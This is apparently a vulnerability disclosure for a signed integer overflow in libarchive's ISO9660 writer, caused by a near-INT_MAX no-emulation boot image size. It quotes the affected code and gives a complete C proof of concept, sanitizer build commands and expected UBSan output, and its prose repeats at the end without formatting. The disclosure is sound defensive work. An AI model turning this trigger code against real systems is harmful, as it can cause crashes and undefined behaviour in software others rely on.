The issue occurs when closing an ISO image that contains an El Torito no-emulation boot image entry with a declared size near INT_MAX. During archive_write_close(), libarchive computes the boot image block count in isoent_setup_file_location().
For no-emulation boot images, fd_boot_image_size() returns 0, so the code falls back to archive_entry_size() for the boot entry size. If the declared size is 2147481600 (INT_MAX - 2048 + 1), (int)size is still representable, but adding LOGICAL_BLOCK_SIZE overflows signed int.
Relevant Codes
Affected code is in libarchive/archive_write_set_format_iso9660.c.
The ISO9660 writer registers iso9660_finish_entry() and iso9660_close() as the finish and close handlers:
a->format_data = iso9660;
a->format_name = "iso9660";
a->format_options = iso9660_options;
a->format_write_header = iso9660_write_header;
a->format_write_data = iso9660_write_data;
a->format_finish_entry = iso9660_finish_entry;
a->format_close = iso9660_close;
a->format_free = iso9660_free;
The public format options allow a caller to select a boot image path and force the El Torito media type to no-emulation:
if (strcmp(key, "boot") == 0) {
if (value == NULL)
iso9660->opt.boot = 0;
else {
iso9660->opt.boot = 1;
archive_strcpy(
&(iso9660->el_torito.boot_filename),
value);
}
return (ARCHIVE_OK);
}
...
if (strcmp(key, "boot-type") == 0) {
if (value == NULL)
goto invalid_value;
if (strcmp(value, "no-emulation") == 0)
iso9660->opt.boot_type = OPT_BOOT_TYPE_NO_EMU;
else if (strcmp(value, "fd") == 0)
iso9660->opt.boot_type = OPT_BOOT_TYPE_FD;
else if (strcmp(value, "hard-disk") == 0)
iso9660->opt.boot_type = OPT_BOOT_TYPE_HARD_DISK;
else
goto invalid_value;
return (ARCHIVE_OK);
}
When the PoC writes only the boot.img header, iso9660_write_header() creates the file entry, records it as the current file, and stores the declared entry size in bytes_remaining. No file body is written by the PoC:
/* Set the current file to cur_file to read its contents. */
iso9660->cur_file = file;
...
/* Save an offset of current file in temporary file. */
file->content.offset_of_temp = wb_offset(a);
file->cur_content = &(file->content);
r = zisofs_init(a, file);
if (r < ret)
ret = r;
iso9660->bytes_remaining = archive_entry_size(file->entry);
During archive_write_close(), the generic writer first finishes the current entry. In this case, because no archive_write_data() call was made, cur_file->content.size is still zero. iso9660_finish_entry() returns immediately before the zero-fill loop, so the close path does not need to write the declared 2GB boot image body:
static int
iso9660_finish_entry(struct archive_write *a)
{
struct iso9660 *iso9660 = a->format_data;
if (iso9660->cur_file == NULL)
return (ARCHIVE_OK);
if (archive_entry_filetype(iso9660->cur_file->entry) != AE_IFREG)
return (ARCHIVE_OK);
if (iso9660->cur_file->content.size == 0)
return (ARCHIVE_OK);
/* If there are unwritten data, write null data instead. */
while (iso9660->bytes_remaining > 0) {
size_t s;
s = (iso9660->bytes_remaining > a->null_length)?
a->null_length: (size_t)iso9660->bytes_remaining;
if (write_iso9660_data(a, a->nulls, s) < 0)
return (ARCHIVE_FATAL);
iso9660->bytes_remaining -= s;
}
After that, iso9660_close() prepares the bootable ISO metadata. It locates the boot file entry, creates the boot catalog, calculates the base block count, and calls isoent_setup_file_location():
static int
iso9660_close(struct archive_write *a)
{
struct iso9660 *iso9660;
int ret, blocks;
iso9660 = a->format_data;
...
/*
* Prepare a bootable ISO image.
*/
if (iso9660->opt.boot) {
/* Find out the boot file entry. */
ret = isoent_find_out_boot_file(a, iso9660->primary.rootent);
if (ret < 0)
return (ret);
/* Reconvert the boot file from zisofs'ed form to
* plain form. */
ret = zisofs_rewind_boot_file(a);
if (ret < 0)
return (ret);
/* Write remaining data out to the temporary file. */
if (wb_remaining(a) > 0) {
ret = wb_write_out(a);
if (ret < 0)
return (ret);
}
/* Create the boot catalog. */
ret = isoent_create_boot_catalog(a, iso9660->primary.rootent);
if (ret < 0)
return (ret);
}
...
blocks = SYSTEM_AREA_BLOCK
+ PRIMARY_VOLUME_DESCRIPTOR_BLOCK
+ VOLUME_DESCRIPTOR_SET_TERMINATOR_BLOCK
+ NON_ISO_FILE_SYSTEM_INFORMATION_BLOCK;
if (iso9660->opt.boot)
blocks += BOOT_RECORD_DESCRIPTOR_BLOCK;
...
/* Setup the locations of all file contents. */
isoent_setup_file_location(iso9660, blocks);
blocks += iso9660->total_file_block;
The boot lookup uses the caller-controlled boot option to select the matching archive entry and marks it as the El Torito boot image:
static int
isoent_find_out_boot_file(struct archive_write *a, struct isoent *rootent)
{
struct iso9660 *iso9660 = a->format_data;
/* Find a isoent of the boot file. */
iso9660->el_torito.boot = isoent_find_entry(rootent,
iso9660->el_torito.boot_filename.s);
if (iso9660->el_torito.boot == NULL) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Can't find the boot image file ``%s''",
iso9660->el_torito.boot_filename.s);
return (ARCHIVE_FATAL);
}
iso9660->el_torito.boot->file->boot = BOOT_IMAGE;
return (ARCHIVE_OK);
}
isoent_create_boot_catalog() applies the selected boot type. When the caller uses boot-type=no-emulation, the media type becomes BOOT_MEDIA_NO_EMULATION:
/*
* Get a boot media type.
*/
switch (iso9660->opt.boot_type) {
default:
case OPT_BOOT_TYPE_AUTO:
/* Try detecting a media type of the boot image. */
entry = iso9660->el_torito.boot->file->entry;
if (archive_entry_size(entry) == FD_1_2M_SIZE)
iso9660->el_torito.media_type =
BOOT_MEDIA_1_2M_DISKETTE;
else if (archive_entry_size(entry) == FD_1_44M_SIZE)
iso9660->el_torito.media_type =
BOOT_MEDIA_1_44M_DISKETTE;
else if (archive_entry_size(entry) == FD_2_88M_SIZE)
iso9660->el_torito.media_type =
BOOT_MEDIA_2_88M_DISKETTE;
else
/* We cannot decide whether the boot image is
* hard-disk. */
iso9660->el_torito.media_type =
BOOT_MEDIA_NO_EMULATION;
break;
case OPT_BOOT_TYPE_NO_EMU:
iso9660->el_torito.media_type = BOOT_MEDIA_NO_EMULATION;
break;
case OPT_BOOT_TYPE_HARD_DISK:
iso9660->el_torito.media_type = BOOT_MEDIA_HARD_DISK;
break;
case OPT_BOOT_TYPE_FD:
entry = iso9660->el_torito.boot->file->entry;
if (archive_entry_size(entry) <= FD_1_2M_SIZE)
iso9660->el_torito.media_type =
BOOT_MEDIA_1_2M_DISKETTE;
else if (archive_entry_size(entry) <= FD_1_44M_SIZE)
iso9660->el_torito.media_type =
BOOT_MEDIA_1_44M_DISKETTE;
else if (archive_entry_size(entry) <= FD_2_88M_SIZE)
iso9660->el_torito.media_type =
BOOT_MEDIA_2_88M_DISKETTE;
else {
archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC,
"Boot image file(``%s'') size is too big "
"for fd type",
iso9660->el_torito.boot_filename.s);
return (ARCHIVE_FATAL);
}
break;
}
For no-emulation and hard-disk media types, fd_boot_image_size() returns 0. Therefore, the later location setup code falls back to the declared archive entry size:
/*
* If a media type is floppy, return its image size.
* otherwise return 0.
*/
static size_t
fd_boot_image_size(int media_type)
{
switch (media_type) {
case BOOT_MEDIA_1_2M_DISKETTE:
return (FD_1_2M_SIZE);
case BOOT_MEDIA_1_44M_DISKETTE:
return (FD_1_44M_SIZE);
case BOOT_MEDIA_2_88M_DISKETTE:
return (FD_2_88M_SIZE);
default:
return (0);
}
}
The signed integer overflow occurs in isoent_setup_file_location():
static void
isoent_setup_file_location(struct iso9660 *iso9660, int location)
{
struct isoent *isoent;
struct isoent *np;
struct isofile *file;
size_t size;
int block;
...
if ((isoent = iso9660->el_torito.boot) != NULL) {
isoent->file->content.location = location;
size = fd_boot_image_size(iso9660->el_torito.media_type);
if (size == 0)
size = (size_t)archive_entry_size(isoent->file->entry);
block = ((int)size + LOGICAL_BLOCK_SIZE -1)
>> LOGICAL_BLOCK_BITS;
location += block;
iso9660->total_file_block += block;
isoent->file->content.blocks = block;
}
The problematic expression casts size to int before adding LOGICAL_BLOCK_SIZE. With a no-emulation boot image size of 2147481600, the addition 2147481600 + 2048 cannot be represented in signed int, resulting in UB.
PoC
#include <archive.h>
#include <archive_entry.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct write_stats {
size_t total_bytes;
int force_failure;
};
static la_ssize_t
discard_write(struct archive *a, void *client_data, const void *buff, size_t length)
{
struct write_stats *stats = (struct write_stats *)client_data;
(void)a;
(void)buff;
if (stats->force_failure)
return -1;
stats->total_bytes += length;
return (la_ssize_t)length;
}
static void
print_result(const char *step, struct archive *a, int r)
{
if (r < ARCHIVE_WARN) {
fprintf(stderr, "%s=%d error=%s\n", step, r,
archive_error_string(a));
} else {
fprintf(stderr, "%s=%d\n", step, r);
}
}
int
main(int argc, char **argv)
{
struct archive *a;
struct archive_entry *entry;
struct write_stats stats;
int64_t declared_size = INT32_MAX;
int r;
memset(&stats, 0, sizeof(stats));
if (argc > 1)
declared_size = strtoll(argv[1], NULL, 0);
if (argc > 2)
stats.force_failure = 1;
a = archive_write_new();
if (a == NULL)
return 2;
r = archive_write_set_format_iso9660(a);
print_result("set_format", a, r);
if (r < ARCHIVE_WARN)
return 3;
r = archive_write_set_format_option(a, "iso9660", "boot", "boot.img");
print_result("set_boot", a, r);
if (r < ARCHIVE_WARN)
return 4;
r = archive_write_set_format_option(a, "iso9660", "boot-type",
"no-emulation");
print_result("set_boot_type", a, r);
if (r < ARCHIVE_WARN)
return 5;
r = archive_write_open(a, &stats, NULL, discard_write, NULL);
print_result("open", a, r);
if (r < ARCHIVE_WARN)
return 6;
entry = archive_entry_new();
if (entry == NULL)
return 7;
archive_entry_set_pathname(entry, "boot.img");
archive_entry_set_filetype(entry, AE_IFREG);
archive_entry_set_perm(entry, 0644);
archive_entry_set_size(entry, declared_size);
fprintf(stderr, "declared_size=%lld\n", (long long)declared_size);
r = archive_write_header(a, entry);
print_result("write_header", a, r);
archive_entry_free(entry);
if (r < ARCHIVE_WARN)
return 8;
/* Do not write boot image data; verify close still reaches block calculation. */
r = archive_write_close(a);
print_result("close", a, r);
fprintf(stderr, "discarded_output=%zu\n", stats.total_bytes);
r = archive_write_free(a);
fprintf(stderr, "free=%d\n", r);
return 0;
}
Reproduce Step
- Compile
/usr/bin/clang \
-fsanitize=address,undefined \
-fno-omit-frame-pointer \
-g -O1 \
-I/path/to/libarchive/libarchive \
/path/to/PoC.c \
/path/to/libarchive.a \
-o /output_dir/PoC_ELF \
-lz -lbz2 -llzma -lzstd -lxml2 -lssl -lcrypto -lm -licuuc -licudata
- Run the ELF
ASAN_OPTIONS=allocator_may_return_null=1:detect_leaks=0 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=0 \
timeout 5s \
/output_dir/PoC_ELF \
2147481600 fail
- Expect Output
set_format=0
set_boot=0
set_boot_type=0
open=0
declared_size=2147481600
write_header=0
/home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:5479:22: runtime error: signed integer overflow: 2147481600 + 2048 cannot be represented in type 'int'
The issue occurs when closing an ISO image that contains an El Torito no-emulation boot image entry with a declared size near
INT_MAX. Duringarchive_write_close(), libarchive computes the boot image block count inisoent_setup_file_location().For no-emulation boot images,
fd_boot_image_size()returns 0, so the code falls back toarchive_entry_size()for the boot entry size. If the declared size is2147481600(INT_MAX - 2048 + 1),(int)sizeis still representable, but addingLOGICAL_BLOCK_SIZEoverflows signedint.Relevant Codes
Affected code is in libarchive/archive_write_set_format_iso9660.c.
The ISO9660 writer registers
iso9660_finish_entry()andiso9660_close()as the finish and close handlers:The public format options allow a caller to select a boot image path and force the El Torito media type to no-emulation:
When the PoC writes only the
boot.imgheader,iso9660_write_header()creates the file entry, records it as the current file, and stores the declared entry size inbytes_remaining. No file body is written by the PoC:During
archive_write_close(), the generic writer first finishes the current entry. In this case, because noarchive_write_data()call was made,cur_file->content.sizeis still zero.iso9660_finish_entry()returns immediately before the zero-fill loop, so the close path does not need to write the declared 2GB boot image body:After that,
iso9660_close()prepares the bootable ISO metadata. It locates the boot file entry, creates the boot catalog, calculates the base block count, and callsisoent_setup_file_location():The boot lookup uses the caller-controlled
bootoption to select the matching archive entry and marks it as the El Torito boot image:isoent_create_boot_catalog()applies the selected boot type. When the caller usesboot-type=no-emulation, the media type becomesBOOT_MEDIA_NO_EMULATION:For no-emulation and hard-disk media types,
fd_boot_image_size()returns 0. Therefore, the later location setup code falls back to the declared archive entry size:The signed integer overflow occurs in
isoent_setup_file_location():The problematic expression casts
sizetointbefore addingLOGICAL_BLOCK_SIZE. With a no-emulation boot image size of2147481600, the addition2147481600 + 2048cannot be represented in signedint, resulting in UB.PoC
Reproduce Step